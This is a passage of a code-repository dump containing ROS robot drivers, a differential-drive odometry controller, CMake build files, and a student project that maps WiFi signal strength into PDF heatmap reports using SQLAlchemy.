0.8740741014480591, "avg_line_length": 52.79999923706055, "blob_id": "133b6ecc213cae50feeb830c6cc5a5af5456d724", "content_id": "2cf27188ad7a411cf491bcf4912a8f5dc85a93d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "no_license", "max_line_length": 62, "num_lines": 5, "path": "/airi_base_py/airi_base/__init__.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "\nfrom drivers.bumper_driver import BumperDriver\nfrom drivers.diff_drive_controller import DiffDriverController\nfrom drivers.hcsr04_ring_driver import HCSR04RingDriver\nfrom drivers.ky033_ring_driver import KY033RingDriver\nfrom drivers.mpu6050_driver import MPU6050Driver\n" }, { "alpha_fraction": 0.604901134967804, "alphanum_fraction": 0.6113499402999878, "avg_line_length": 40.900901794433594, "blob_id": "d05e19c67f3f5576da07c107d73e27f447aad517", "content_id": "d9f80a49bc5882926bf5303dea62d72ef22ffd42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4652, "license_type": "no_license", "max_line_length": 101, "num_lines": 111, "path": "/airi_base_py/airi_base/drivers/diff_drive_controller.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "\nimport rospy\n\nimport geometry_msgs\nimport nav_msgs\nimport tf2_ros\n\nimport tf_conversions\n\nfrom two_wheel_driver_controller import TwoWheelDriveController\n\n\nclass DifferentialDriveController(TwoWheelDriveController):\n\n def __init__(self, name='~drive_controller'):\n super(DifferentialDriveController, self).__init__(name)\n self._wheel_base = rospy.get_param(rospy.resolve_name('~wheel_base', name))\n self._wheel_diameter = rospy.get_param(rospy.resolve_name('~wheel_diameter', name))\n self._wheel_encoder_resolution = rospy.get_param(\n rospy.resolve_name('~wheel_encoder_resolution', name)\n )\n self._wheel_base = rospy.get_param(rospy.resolve_name('~odom_frame', name), 'odom')\n self._wheel_base = rospy.get_param(rospy.resolve_name('~base_frame', name), 'base_footprint')\n self._publish_tf = rospy.get_param(rospy.resolve_name('~publish_tf', name), True)\n\n if self._publish_tf:\n self._tf_broadcaster = tf2_ros.TransformBroadcaster()\n\n self._last_update_time = None\n self._last_update_pose = None\n self._last_encoder_data = None\n self._odom_publisher = rospy.Publisher(\n 'odom', nav_msgs.msg.Odometry, queue_size=1\n )\n\n self._cmd_subscriber = rospy.Subscriber(\n 'cmd_vel', geometry_msgs.msg.Twist, self.on_velocity_command\n )\n\n def on_velocity_command(self, twist_msg):\n if not self.is_connected():\n rospy.loginfo('%s got a velocity command but it is not running', self.name)\n return\n # Compute pulses per second per wheel to sustain\n right_wheel_encoder_pps = self._wheel_encoder_resolution * (\n 2 * twist_msg.linear.x + twist_msg.angular.z * self._wheel_base\n ) / (self._wheel_diameter * math.pi)\n left_wheel_encoder_pps = self._wheel_encoder_resolution * (\n 2 * twist_msg.linear.x - twist_msg.angular.z * self._wheel_base\n ) / (self._wheel_diameter * math.pi)\n\n self.drive(left_wheel_encoder_pps, left_wheel_encoder_pps)\n\n def on_encoder_data(self, left_wheel_encoder_pulses, right_wheel_encoder_pulses):\n now = rospy.get_rostime()\n\n if self._last_update_time is not None:\n dt = (now - self._last_update_time).to_sec()\n last_left_wheel_encoder_pulses, last_right_wheel_encoder_pulses = self._last_encoder_data\n left_wheel_encoder_delta = left_wheel_encoder_pulses - last_left_wheel_encoder_pulses\n right_wheel_encoder_delta = right_wheel_encoder_pulses - last_right_wheel_encoder_pulses\n\n vk = math.pi * self._wheel_diameter * (\n left_wheel_encoder_delta + right_wheel_encoder_delta\n ) / (2 * self._wheel_encoder_resolution)\n\n wk = math.pi * self._wheel_diameter * (\n left_wheel_encoder_delta - right_wheel_encoder_delta\n ) / (self._wheel_base * self._wheel_encoder_resolution)\n\n xk_1, yk_1, thetak_1 = self._last_update_pose\n\n xk = xk_1 + vk * dt * math.cos(thetak_1)\n yk = yk_1 + vk * dt * math.sin(thetak_1)\n thetak = thetak_1 + wk * dt\n else:\n xk = yk = thetak = vk = wk = 0.0\n\n self._last_update_time = now\n self._last_odom_pose = xk, yk, thetak\n self._last_encoder_data = left_wheel_encoder_pulses, right_wheel_encoder_pulses\n\n qk = tf_conversions.transformations.quaternion_from_euler(0, 0, thetak)\n\n odom = nav_msgs.msg.Odometry()\n odom.header.stamp = now\n odom.header.frame_id = self._odom_frame\n odom.child_frame_id = self._base_frame\n odom.pose.pose.position.x = xk\n odom.pose.pose.position.y = yk\n odom.pose.pose.position.z = 0.0\n odom.pose.pose.orientation.x = qk[0]\n odom.pose.pose.orientation.y = qk[1]\n odom.pose.pose.orientation.z = qk[2]\n odom.pose.pose.orientation.w = qk[3]\n odom.twist.twist.linear.x = vk\n odom.twist.twist.linear.w = wk\n self._odom_publisher.publish(odom)\n\n if self._publish_tf:\n tf = geometry_msgs.msg.TransformStamped()\n tf.header.stamp = now\n tf.header.frame_id = self._odom_frame\n tf.child_frame_id = self._base_frame\n tf.transform.translation.x = xk\n tf.transform.translation.y = yk\n tf.transform.translation.z = 0.0\n tf.transform.rotation.x = qk[0]\n tf.transform.rotation.y = qk[1]\n tf.transform.rotation.z = qk[2]\n tf.transform.rotation.w = qk[3]\n self._tf_broadcaster.sendTransform(tf)\n" }, { "alpha_fraction": 0.6910299062728882, "alphanum_fraction": 0.6987818479537964, "avg_line_length": 18.630434036254883, "blob_id": "167e376be01582a5a9d6800d17783d3368ba0d51", "content_id": "9c23a37ea0c058a955cc696ec041a4693f6b0290", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 903, "license_type": "no_license", "max_line_length": 70, "num_lines": 46, "path": "/airi_description/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(airi_description)\n\ncmake_policy(SET CMP0054 NEW)\n\n## Find catkin macros and libraries\nfind_package(catkin REQUIRED COMPONENTS\n\t# gazebo_dev\n\t# gazebo_plugins\n\t# pcl_ros\n\t# pcl_conversions\n roslaunch\n # rviz\n sensor_msgs\n xacro\n)\n\ncatkin_package(\n LIBRARIES airi_bumper_plugin\n)\n\n#############\n## Build ##\n#############\n\ninclude_directories(${catkin_INCLUDE_DIRS})\n\nlink_directories(${catkin_LIBRARY_DIRS})\n\n#add_library(airi_bumper_plugin plugins/airi_bumper_plugin.cpp)\n#target_link_libraries(airi_bumper_plugin ${catkin_LIBRARIES})\n\n#############\n## Install ##\n#############\n\n#install(\n# TARGETS airi_bumper_plugin\n# LIBRARY DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION}\n#)\n\n## Mark other files for installation (e.g. launch and bag files, etc.)\ninstall(DIRECTORY\n config urdf media launch\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}\n)\n" }, { "alpha_fraction": 0.655604898929596, "alphanum_fraction": 0.6659267544746399, "avg_line_length": 55.66666793823242, "blob_id": "5656cfdb0dffd677e9336bdb86068755a844b401", "content_id": "c7d6794e663a93cf9e7a590546736a863fc047e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9010, "license_type": "no_license", "max_line_length": 297, "num_lines": 159, "path": "/airi_heatmap/src/airi_heatmap/pdf_generation.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport csv\nimport os\nimport shutil\nfrom pylab import imread, imshow\nfrom mpl_toolkits.axes_grid1 import AxesGrid\nfrom scipy.interpolate import Rbf\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, PageBreak, Image\nfrom reportlab.lib.units import mm, inch\nfrom reportlab.lib.styles import getSampleStyleSheet\nfrom sqlalchemy import distinct\nfrom models import Ssid, Bssid, Measure, Security, Channel, Point, Draw_Point, Frequency, Rate\nimport PIL.Image\nfrom PIL import Image as Img\n\nGRID_WIDTH = 797\nGRID_HEIGHT = 530\nIMAGE_WIDTH = 2544\nIMAGE_HEIGHT = 1691\nBASEWIDTH = 500\n\ndef log(application, log_level, msg):\n print(\"[{}] - [{}] - {}\".format(application, log_level, msg))\n\n\ndef pdf_generator(session, map_):\n plt.ioff()\n if os.path.exists('./output'):\n shutil.rmtree('./output', ignore_errors=True)\n os.makedirs('./output')\n pdf_buffer = []\n my_pdf = SimpleDocTemplate('heatmap_report.pdf')\n pdf_style_sheet = getSampleStyleSheet()\n paragraph = Paragraph('AIRI - Reporte de medicion WiFi<br /><br /><br />', pdf_style_sheet['Heading1'])\n pdf_buffer.append(paragraph)\n paragraph = Paragraph('Proyecto Final - Heatmap<br /><br />', pdf_style_sheet['Heading2'])\n pdf_buffer.append(paragraph)\n paragraph = Paragraph('Alumnos:<br /><br />', pdf_style_sheet['Heading2'])\n pdf_buffer.append(paragraph)\n paragraph = Paragraph('Juan Ignacio Battaglino - [email protected]<br /><br />', pdf_style_sheet['Heading2'])\n pdf_buffer.append(paragraph)\n paragraph = Paragraph('Michel Hidalgo - [email protected]<br /><br />', pdf_style_sheet['Heading2'])\n pdf_buffer.append(paragraph)\n paragraph = Paragraph('Profesor: Silvio Tapino<br /><br />', pdf_style_sheet['Heading2'])\n pdf_buffer.append(paragraph)\n pdf_buffer.append(PageBreak())\n paragraph = Paragraph('Site analysis for floor plan draw:<br /><br /><br />', pdf_style_sheet['Heading1'])\n pdf_buffer.append(paragraph)\n my_img = PIL.Image.open('./input/my_floor_diagram.png')\n wpercent = BASEWIDTH / float(my_img.size[0])\n hsize = int((float(my_img.size[1]))*float(wpercent))\n img = my_img.resize((BASEWIDTH,hsize), Img.ANTIALIAS)\n img.save('./input/my_floor_diagram_resized.png', quality=85)\n pdf_buffer.append(Image('./input/my_floor_diagram_resized.png'))\n pdf_buffer.append(PageBreak())\n\n t1 = session.query(Ssid).filter(Ssid.id==Measure.ssid_id).order_by(Ssid.ssid_value).all()\n for ssid in t1:\n t2 = session.query(Bssid).join(Measure, Measure.bssid_id==Bssid.id).filter(Measure.ssid_id==ssid.id).all()\n for bssid in t2:\n paragraph_measure = Paragraph('SSID: {}'.format(ssid), pdf_style_sheet['Heading2'])\n pdf_buffer.append(paragraph_measure)\n\n #Security types:\n #SELECT DISTINCT ssid_value, security_type FROM measure INNER JOIN ssid ON measure.ssid_id = ssid.id INNER JOIN security ON measure.security_id = security.id ORDER BY ssid_value ASC;\n query = session.query(Security, Measure, Ssid).join(Ssid, Ssid.id==Measure.ssid_id).filter(Ssid.ssid_value==str(ssid)).filter(Bssid.bssid_value==str(bssid)).join(Security, Security.id==Measure.security_id).first()\n paragraph_sec = Paragraph('Security type: {}'.format(query[0]), pdf_style_sheet['Heading2'])\n \n #Bssids:\n #SELECT DISTINCT ssid_value, bssid_value FROM measure INNER JOIN ssid ON measure.ssid_id = ssid.id INNER JOIN bssid ON measure.bssid_id = bssid.id ORDER BY ssid_value ASC;\n query = session.query(Bssid, Measure, Ssid).join(Ssid, Ssid.id==Measure.ssid_id).filter(Ssid.ssid_value==str(ssid)).filter(Bssid.bssid_value==str(bssid)).join(Bssid, Bssid.id==Measure.bssid_id).all()\n bssid_list = remove_repeated_values(query)\n paragraph_bssid = Paragraph('Bssids detected: {}'.format(bssid_list), pdf_style_sheet['Heading2'])\n \n #Channels:\n #SELECT DISTINCT ssid_value, channel_number FROM measure INNER JOIN ssid ON measure.ssid_id = ssid.id INNER JOIN channel ON measure.channel_id = channel.id ORDER BY ssid_value ASC;\n query = session.query(Channel, Measure, Ssid).join(Ssid, Ssid.id==Measure.ssid_id).filter(Ssid.ssid_value==str(ssid)).filter(Bssid.bssid_value==str(bssid)).join(Channel, Channel.id==Measure.channel_id).join(Bssid, Bssid.id==Measure.bssid_id).all()\n channel_list = remove_repeated_values(query)\n paragraph_channel = Paragraph('Transmission channel: {}'.format(channel_list), pdf_style_sheet['Heading2'])\n \n #Frequency:\n #SELECT DISTINCT ssid_value, frequency FROM measure INNER JOIN ssid ON measure.ssid_id = ssid.id INNER JOIN frequency ON measure.frequency_id = frequency.id ORDER BY ssid_value ASC;\n query = session.query(Frequency, Measure, Ssid).join(Ssid, Ssid.id==Measure.ssid_id).filter(Ssid.ssid_value==str(ssid)).filter(Bssid.bssid_value==str(bssid)).join(Frequency, Frequency.id==Measure.frequency_id).join(Bssid, Bssid.id==Measure.bssid_id).all()\n frequency_list = remove_repeated_values(query)\n paragraph_frequency = Paragraph('Transmission frequency: {} MHz'.format(frequency_list), pdf_style_sheet['Heading2'])\n\n #Rate:\n #SELECT DISTINCT ssid_value, rate FROM measure INNER JOIN ssid ON measure.ssid_id = ssid.id INNER JOIN rate ON measure.rate_id = rate.id ORDER BY ssid_value ASC;\n query = session.query(Rate, Measure, Ssid).join(Ssid, Ssid.id==Measure.ssid_id).filter(Ssid.ssid_value==str(ssid)).filter(Bssid.bssid_value==str(bssid)).join(Rate, Rate.id==Measure.rate_id).join(Bssid, Bssid.id==Measure.bssid_id).all()\n rate_list = remove_repeated_values(query)\n paragraph_rate = Paragraph('Transmission rate: {} Mbps<br /><br /><br /><br />'.format(rate_list), pdf_style_sheet['Heading2'])\n\n pdf_buffer.append(paragraph_sec)\n pdf_buffer.append(paragraph_bssid)\n pdf_buffer.append(paragraph_channel)\n pdf_buffer.append(paragraph_frequency)\n pdf_buffer.append(paragraph_rate)\n\n #rssi:\n #SELECT DISTINCT ssid_value, x_location, y_location, rssi FROM measure INNER JOIN ssid ON measure.ssid_id = ssid.id INNER JOIN point ON measure.point_id = point.id ORDER BY ssid_value ASC;\n query = session.query(Point.id, Point.x_location, Point.y_location, Measure, Ssid, Bssid).join(Ssid, Ssid.id==Measure.ssid_id).filter(Ssid.ssid_value==str(ssid)).filter(Bssid.bssid_value==str(bssid)).join(Point, Point.id==Measure.point_id).join(Bssid, Bssid.id==Measure.bssid_id).all()\n query.insert(0, ['id','x_position', 'y_position', 'rssi', 'ssid', 'bssid'])\n plot_heatmap(query, map_)\n\n plt.tight_layout()\n plt.savefig('./output/{}-{}-measure.png'.format(ssid,bssid))\n plt.close()\n pdf_buffer.append(Image('./output/{}-{}-measure.png'.format(ssid,bssid),width=3*200, height=1.5*200, kind='proportional'))\n pdf_buffer.append(PageBreak())\n my_pdf.build(pdf_buffer, onFirstPage=add_page_number, onLaterPages=add_page_number)\n\n\ndef add_page_number(canvas, doc):\n canvas.saveState()\n canvas.setFont('Times-Roman', 10)\n page_number_text = \"%d\" % (doc.page)\n canvas.drawCentredString(0.75 * inch, 0.75 * inch, page_number_text)\n canvas.restoreState()\n\n\ndef remove_repeated_values(query_list):\n my_list = []\n for my_query in query_list:\n my_list.append(my_query[0])\n my_set = set(my_list)\n my_set.union(my_set)\n return list(my_set)\n\ndef plot_heatmap(query, map_):\n query_list = []\n for elem in query:\n query_list.append(list(elem))\n f = plt.figure()\n outfile = open('./output/my_csv.csv', 'w')\n outcsv = csv.writer(outfile)\n outcsv.writerows(query_list)\n outfile.close()\n df1 = pd.read_csv('./output/my_csv.csv', index_col=0)\n layout = np.array(map_.data).reshape(map_.info.height, map_.info.width)\n # layout = imread('input/my_floor_diagram_resized.png')\n f.suptitle(\"Individual AP RSSI\")\n f.subplots_adjust(hspace=0.1, wspace=0.1, left=0.05, right=0.95, top=0.85,bottom=0.15)\n x_positions = (df1['x_position'] - map_.info.origin.position.x) / map_.info.resolution\n y_positions = (df1['y_position'] - map_.info.origin.position.y) / map_.info.resolution\n rbf = Rbf(x_positions, y_positions, df1['rssi'], function='linear')\n num_x = int(IMAGE_WIDTH / 4)\n num_y = int(num_x / (IMAGE_WIDTH / IMAGE_HEIGHT))\n x = np.linspace(0, GRID_WIDTH, num_x)\n y = np.linspace(0, GRID_HEIGHT, num_y)\n gx, gy = np.meshgrid(x, y)\n gx, gy = gx.flatten(), gy.flatten()\n z = rbf(gx, gy)\n z = z.reshape((num_y, num_x))\n image = plt.imshow(z, vmin=0, vmax=100, extent=(0,\n IMAGE_WIDTH, IMAGE_HEIGHT, 0), origin='lower', cmap='RdYlBu_r', alpha=1)\n plt.colorbar(image)\n plt.imshow(layout, interpolation='bicubic', origin='lower', zorder=100)\n" }, { "alpha_fraction": 0.7057949304580688, "alphanum_fraction": 0.7087666988372803, "avg_line_length": 27.04166603088379, "blob_id": "c7c5381d9c42286b0f9dd5830d528679610b0ce3", "content_id": "c2ba36e244f6c3633241edab35312e4c70743b02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1346, "license_type": "no_license", "max_line_length": 87, "num_lines": 48, "path": "/airi_heatmap/scripts/recorder_node", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport os\nimport rospy\nimport tf2_ros\nimport ast\nfrom std_msgs.msg import String\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nfrom airi_heatmap.db_functions import save_measure_in_db\nfrom airi_heatmap.models import Base\nfrom airi_heatmap.utils import log\n\nDB_PATH = os.environ['DB_PATH']\n\ndef ros_save_measure():\n\n engine = create_engine(DB_PATH, echo=False)\n engine.execute('PRAGMA foreign_keys = ON')\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine)\n session = Session()\n\n rospy.init_node('db_node', anonymous=True)\n tfBuffer = tf2_ros.Buffer()\n listener = tf2_ros.TransformListener(tfBuffer)\n\n def measure_callback (msg):\n measure_list = ast.literal_eval(msg.data)\n trans = tfBuffer.lookup_transform(\"map\", \"base_link\", rospy.Time(0))\n point = (trans.transform.translation.x, trans.transform.translation.y)\n save_measure_in_db(session, measure_list, point)\n\n rospy.Subscriber('measure_db', String, measure_callback)\n\n # Para recibir point me deberia suscribir a un topico y enviar timestamp del punto.\n\n rospy.spin()\n\n\nif __name__ == \"__main__\":\n try:\n ros_save_measure()\n except rospy.ROSInterruptException as e:\n print(e)\n" }, { "alpha_fraction": 0.7110186815261841, "alphanum_fraction": 0.7255717515945435, "avg_line_length": 16.814815521240234, "blob_id": "553837ae6963b33e922ef8bda90d4a871a666d03", "content_id": "6be059c226441cf89c907065e23c14d682437108", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 481, "license_type": "no_license", "max_line_length": 49, "num_lines": 27, "path": "/airi_heatmap/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(airi_heatmap)\n\ncmake_policy(SET CMP0054 NEW)\n\n## Find catkin macros and libraries\nfind_package(catkin REQUIRED)\n\ncatkin_package()\n\ncatkin_python_setup()\n\n#############\n## Install ##\n#############\n\ncatkin_install_python(\n PROGRAMS\n scripts/scanner_node\n scripts/recorder_node\n scripts/pdf_generator_node\n DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION}\n)\n\ninstall(DIRECTORY launch\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}\n)\n" }, { "alpha_fraction": 0.7353760600090027, "alphanum_fraction": 0.7548746466636658, "avg_line_length": 12.807692527770996, "blob_id": "824d92e8621c888ceac294df7d9506de8082463b", "content_id": "e0118b605d8edfd56862bdda56b8498019fefd34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 359, "license_type": "no_license", "max_line_length": 39, "num_lines": 26, "path": "/airi_msgs/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(airi_msgs)\n\ncmake_policy(SET CMP0054 NEW)\n\n## Find catkin macros and libraries\nfind_package(catkin REQUIRED COMPONENTS\n roscpp\n rospy\n std_msgs\n message_generation\n)\n\nadd_message_files(\n FILES\n Bumper.msg\n)\n\ngenerate_messages(\n DEPENDENCIES\n std_msgs\n)\n\ncatkin_package(\n CATKIN_DEPENDS message_runtime\n)\n" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 12, "blob_id": "943f7162c19b0ecdca9f5580f11771e36fad463b", "content_id": "db72a755ce3076ac901c2050a71c889b46ceeb2b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "permissive", "max_line_length": 13, "num_lines": 2, "path": "/airi_base_cpp/uccn/README.md", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "# airi-uccn\nμCCN for AIRI\n" }, { "alpha_fraction": 0.6176384687423706, "alphanum_fraction": 0.6182244420051575, "avg_line_length": 25.25384521484375, "blob_id": "1472c3f8988dc400084b0f74c5e5c14e7dca234b", "content_id": "0471598b2a1ccb2603ca612e635460d8cff27e5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3413, "license_type": "no_license", "max_line_length": 64, "num_lines": 130, "path": "/airi_heatmap/src/airi_heatmap/models.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "from sqlalchemy import Column, Integer, String, ForeignKey\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\n\nBase = declarative_base()\n\nclass Draw_Point(Base):\n __tablename__ = 'draw'\n id = Column(Integer, primary_key = True)\n x_location = Column(Integer)\n y_location = Column(Integer)\n \n def __repr__(self):\n return self.x_location, self.y_location\n\n def __init__(self, point):\n self.x_location = point.x\n self.y_location = point.y\n\nclass Point(Base):\n __tablename__ = 'point'\n id = Column(Integer, primary_key = True)\n x_location = Column(Integer)\n y_location = Column(Integer)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{} - {}\".format(self.x_location,self.y_location)\n\n def __init__(self, point):\n self.x_location = point[0]\n self.y_location = point[1]\n\n\nclass Ssid(Base):\n __tablename__ = 'ssid'\n id = Column(Integer, primary_key = True)\n ssid_value = Column(String)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{}\".format(self.ssid_value)\n\n def __init__(self, ssid):\n self.ssid_value = ssid\n\n\nclass Channel(Base):\n __tablename__ = 'channel'\n id = Column(Integer, primary_key = True)\n channel_number = Column(String)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{}\".format(self.channel_number)\n\n def __init__(self, channel):\n self.channel_number = channel\n\n\nclass Bssid(Base):\n __tablename__ = 'bssid'\n id = Column(Integer, primary_key = True)\n bssid_value = Column(String)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{}\".format(self.bssid_value)\n\n def __init__(self, bssid):\n self.bssid_value = bssid\n\n\nclass Security(Base):\n __tablename__ = 'security'\n id = Column(Integer, primary_key = True)\n security_type = Column(String)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{}\".format(self.security_type)\n \n def __init__(self, security_type):\n self.security_type = security_type\n\n\nclass Frequency(Base):\n __tablename__ = 'frequency'\n id = Column(Integer, primary_key=True)\n frequency_value = Column(String)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{}\".format(self.frequency_value)\n\n def __init__(self, frequency):\n self.frequency_value = frequency\n\n\nclass Rate(Base):\n __tablename__ = 'rate'\n id = Column(Integer, primary_key=True)\n rate_value = Column(String)\n measure = relationship('Measure')\n\n def __repr__(self):\n return \"{}\".format(self.rate_value)\n\n def __init__(self, rate):\n self.rate_value = rate\n\n\nclass Measure(Base):\n __tablename__ = 'measure'\n id = Column(Integer, primary_key = True)\n point_id = Column(Integer, ForeignKey('point.id'))\n ssid_id = Column(Integer, ForeignKey('ssid.id'))\n channel_id = Column(Integer, ForeignKey('channel.id'))\n bssid_id = Column(Integer, ForeignKey('bssid.id'))\n security_id = Column(Integer, ForeignKey('security.id'))\n frequency_id = Column(Integer, ForeignKey('frequency.id'))\n rate_id = Column(Integer, ForeignKey('rate.id'))\n\n rssi = Column(String)\n\n def __repr__(self):\n return \"{}\".format(self.rssi)\n\n def __init__(self, rssi):\n self.rssi = rssi\n" }, { "alpha_fraction": 0.6386178731918335, "alphanum_fraction": 0.6455284357070923, "avg_line_length": 30.538461685180664, "blob_id": "aca9fd95513f06877589c6a71b13485f5ea898c4", "content_id": "4100d9d82696e8e7fb77399e32f4b2206aab67bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2460, "license_type": "no_license", "max_line_length": 110, "num_lines": 78, "path": "/airi_heatmap/src/airi_heatmap/db_functions.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "from models import Point, Channel, Security, Ssid, Measure, Bssid, Draw_Point, Frequency, Rate\n\ndef save_measure_in_db(session, data, point):\n objects = []\n value = data.pop(0)\n \n my_ssid = Ssid(value[0])\n my_bssid = Bssid(value[1])\n my_channel = Channel(value[2])\n my_freq = Frequency(value[3])\n my_rate = Rate(value[4])\n my_measure = Measure(value[5])\n my_security = Security(value[6])\n my_point = Point(point)\n \n entry = session.query(Ssid).filter(Ssid.ssid_value.like(value[0])).first()\n if entry is None:\n my_ssid.measure.append(my_measure)\n objects.append(my_ssid)\n else:\n entry.measure.append(my_measure)\n\n entry = session.query(Bssid).filter(Bssid.bssid_value.like(value[1])).first()\n if entry is None:\n my_bssid.measure.append(my_measure)\n objects.append(my_bssid)\n else:\n entry.measure.append(my_measure)\n\n entry = session.query(Channel).filter(Channel.channel_number.like(value[2])).first()\n if entry is None:\n my_channel.measure.append(my_measure)\n objects.append(my_channel)\n else:\n entry.measure.append(my_measure)\n\n entry = session.query(Frequency).filter(Frequency.frequency_value.like(value[3])).first()\n if entry is None:\n my_freq.measure.append(my_measure)\n objects.append(my_freq)\n else:\n entry.measure.append(my_measure)\n\n entry = session.query(Rate).filter(Rate.rate_value.like(value[4])).first()\n if entry is None:\n my_rate.measure.append(my_measure)\n objects.append(my_rate)\n else:\n entry.measure.append(my_measure)\n\n entry = session.query(Security).filter(Security.security_type.like(value[6])).first()\n if entry is None:\n my_security.measure.append(my_measure)\n objects.append(my_security)\n else:\n entry.measure.append(my_measure)\n \n entry = session.query(Point).filter(Point.x_location==point[0]).filter(Point.y_location==point[1]).first()\n if entry is None:\n my_point.measure.append(my_measure)\n objects.append(my_point)\n else:\n entry.measure.append(my_measure)\n\n objects.append(my_measure)\n\n session.add_all(objects)\n session.commit()\n if len(data) != 0:\n save_measure_in_db(session, data, point)\n else:\n return 'FINISHED'\n\n\ndef save_point_in_db(session, point):\n my_draw_point = Draw_Point(point)\n session.add(my_draw_point)\n session.commit()\n" }, { "alpha_fraction": 0.563725471496582, "alphanum_fraction": 0.5710784196853638, "avg_line_length": 21.66666603088379, "blob_id": "8aa3b9e5bb3cfc5d786444b67471d6ad45d86355", "content_id": "1c324a6d7604fa18c86ba662e147bf78476eb01f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 408, "license_type": "no_license", "max_line_length": 62, "num_lines": 18, "path": "/airi_bringup/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(airi_bringup)\n\nfind_package(catkin REQUIRED)\n\n###################################\n## catkin specific configuration ##\n###################################\ncatkin_package()\n\n#############\n## Install ##\n#############\n\n## Mark other files for installation (e.g. launch files, etc.)\ninstall(DIRECTORY launch config\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}\n)\n" } ]
35
Wadha08/REST_task_06
https://github.com/Wadha08/REST_task_06
fdfafa5663abaacc56684c19df1d50aec3af9880
524f9d682a0c37e1872cf831875bd58cc2da4a16
eb2bfd00e72c79b402c91c7c525e630905153f2b
refs/heads/master
2020-07-18T22:01:10.073726
2019-09-04T14:01:44
2019-09-04T14:01:44
206,320,624
0
0
null
2019-09-04T13:02:44
2019-07-25T06:51:02
2019-08-06T02:11:23
null
[ { "alpha_fraction": 0.6789366006851196, "alphanum_fraction": 0.6809815764427185, "avg_line_length": 31.600000381469727, "blob_id": "566c6208fd939e7346df1e66fd0da49d2ec3a316", "content_id": "af5241c38cb0f92c79e9477ad5bd76ab7681981e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "no_license", "max_line_length": 63, "num_lines": 15, "path": "/flights/permissions.py", "repo_name": "Wadha08/REST_task_06", "src_encoding": "UTF-8", "text": "from rest_framework.permissions import BasePermission\nfrom datetime import date,timedelta\n\nclass IsOwner(BasePermission):\n def has_object_permission(self, request, view, obj):\n if request.user.is_staff or (obj.user == request.user):\n return True\n return False\n\n\nclass IsFutureBooking(BasePermission):\n def has_object_permission(self, request, view, obj):\n if obj.date > (date.today() + timedelta(days=3)):\n return True\n return False\n" } ]
1
hroskes/python
https://github.com/hroskes/python
522012e218e2432d85e50eebf03487d6cbe3c20a
c958bfb0b12603a1248e5d106cac050e3b310584
71b960e8e894c5d0df9082b2b07c98ba0d53245a
refs/heads/master
2021-01-20T17:20:52.394483
2018-05-03T19:59:28
2018-05-03T19:59:28
63,422,283
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5646201372146606, "alphanum_fraction": 0.568825364112854, "avg_line_length": 35.773197174072266, "blob_id": "82807e111958f5eeb81364c5c6e7e1a252eeca4c", "content_id": "07225749d0c9506d265705b7fa34585cead23edd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3567, "license_type": "no_license", "max_line_length": 150, "num_lines": 97, "path": "/rootoverloads.py", "repo_name": "hroskes/python", "src_encoding": "UTF-8", "text": "import ROOT\n\ndef definegetattr(cls, functionname, condition = bool):\n assert hasattr(cls, functionname)\n assert not hasattr(cls, \"__getattr__\")\n def __getattr__(self, attr):\n result = getattr(self, functionname)(attr)\n if condition(result):\n return result\n raise AttributeError(\"'{}' object has no attribute '{}'\".format(type(self).__name__, attr))\n cls.__getattr__ = __getattr__\n\ndef definegetitem(cls, getlistfunctionname, 